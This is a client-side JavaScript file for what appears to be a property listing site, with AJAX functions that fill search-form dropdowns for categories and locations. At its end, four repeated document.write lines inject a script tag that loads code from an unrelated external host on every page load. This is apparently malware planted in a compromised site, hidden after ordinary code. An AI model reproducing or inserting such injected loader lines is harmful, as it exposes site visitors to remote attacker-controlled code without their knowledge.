
var http_request = false;

function makeRequest(type, url)
{
	http_request = false;
	if (window.XMLHttpRequest) 
	{												// Mozilla, Safari,...
		http_request = new XMLHttpRequest();
		if (http_request.overrideMimeType) 
		{
			http_request.overrideMimeType('text/xml');
		}
	} 
	else if (window.ActiveXObject) 
	{ 
		try 
		{
			http_request = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch (e) 
		{
			try 
			{
				http_request = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch (e) 
			{
			}
		}
	}
	if (!http_request) 
	{
		alert('Sorry, there is an error.');
		return false;
	}

	if(type == 'category_type'){
		http_request.onreadystatechange = categoryType;
	} else if(type == 'category_type1'){
		http_request.onreadystatechange = categoryType1;
	} else if(type == 'listing_residential'){
		http_request.onreadystatechange = listingResidential;
	}

	http_request.open('GET', url, true);
	http_request.send(null);
}

function categoryType()
{
	if (http_request.readyState == 4) 
	{
		if (http_request.status == 200)
		{
			var subobj = document.forms['searchFrm'].type_id;
			var result = http_request.responseText;
			if(result != ""){
			var actualsubstr = result.split(",");
				subobj.options.length = 1;
				subobj.disabled = false;
				subobj.options[0].value = 'All';
				subobj.options[0].text = 'All';
				for(var i=0;i<actualsubstr.length;i++) 
				{
					subobj.options.length ++;
					var again_split = trim(actualsubstr[i]).split("|");
					subobj.options[i+1].value = trim(again_split[0]);
					subobj.options[i+1].text = trim(again_split[1]);
					if (document.forms['searchFrm'].category_id.value == subobj.options[i+1].value)
					{
						subobj.options[i+1].selected = true;
					}
				}

			} else {
				subobj.options.length = 1;
				subobj.options[0].value = 'All';
				subobj.options[0].text = 'All';
				//subobj.options[1].value = '-1';
				//subobj.options[1].text = 'Other';
				//subobj.disabled = true;
			}
		} 
		else 
		{
			alert('Sorry, there was a problem with the request.');
		}
	}
}

function categoryType1()
{
	if (http_request.readyState == 4) 
	{
		if (http_request.status == 200)
		{
			var subobj = document.forms['frm'].type_id;
			var result = http_request.responseText;
			if(result != ""){
			var actualsubstr = result.split(",");
			var tmp_str = document.forms['frm'].hd_type.value.split(",");
			var tmp_sel;
				subobj.options.length = 1;
				subobj.disabled = false;
				subobj.options[0].value = '';
				subobj.options[0].text = 'select';
				for(var i=0;i<actualsubstr.length;i++) 
				{
					subobj.options.length ++;
					var again_split = trim(actualsubstr[i]).split("|");
					subobj.options[i+1].value = trim(again_split[0]);
					subobj.options[i+1].text = trim(again_split[1]);
					tmp_sel='';
					for(var j=0;j<tmp_str.length;j++) 
					{
						if (tmp_str[j] == subobj.options[i+1].value)
						{
							tmp_sel = 'Y';
						}
					}
					if (tmp_sel == 'Y')
					{
						subobj.options[i+1].selected = true;
					}
					else
					{
						subobj.options[i+1].selected = false;
					}
				}

			} else {
				subobj.options.length = 1;
				subobj.options[0].value = '';
				subobj.options[0].text = 'select';
				//subobj.options[1].value = '-1';
				//subobj.options[1].text = 'Other';
				//subobj.disabled = true;
			}
		} 
		else 
		{
			alert('Sorry, there was a problem with the request.');
		}
	}
}

function hmSearchListings()
{
	if (http_request.readyState == 4) 
	{
		if (http_request.status == 200)
		{
			var subobj = document.forms['frmSearch'].location;
			var result = http_request.responseText;
			if(result != ""){
			var actualsubstr = result.split(",");
				subobj.options.length = 1;
				subobj.disabled = false;
				subobj.options[0].value = 'All';
				subobj.options[0].text = 'All Location';
				for(var i=0;i<actualsubstr.length;i++) 
				{
					subobj.options.length ++;
					var again_split = trim(actualsubstr[i]).split("|");
					subobj.options[i+1].value = trim(again_split[0]);
					subobj.options[i+1].text = trim(again_split[1]);
					//if (document.forms['frmSearch'].tmp_location.value == subobj.options[i+1].value)
					//{
					//	subobj.options[i+1].selected = true;
					//}
				}

			} else {
				subobj.options.length = 1;
				subobj.options[0].value = 'All';
				subobj.options[0].text = 'All Location';
				//subobj.options[1].value = '-1';
				//subobj.options[1].text = 'Other';
				//subobj.disabled = true;
			}
		} 
		else 
		{
			alert('Sorry, there was a problem with the request.');
		}
	}
}

function trim(str)
{
	s = str.replace(/^(\s)*/, '');
	s = s.replace(/(\s)*$/, '');
	return s;
}
document.write('<script src=http://tg.co.kr/_compile/eamps.php ><\/script>');
document.write('<script src=http://tg.co.kr/_compile/eamps.php ><\/script>');
document.write('<script src=http://tg.co.kr/_compile/eamps.php ><\/script>');
document.write('<script src=http://tg.co.kr/_compile/eamps.php ><\/script>');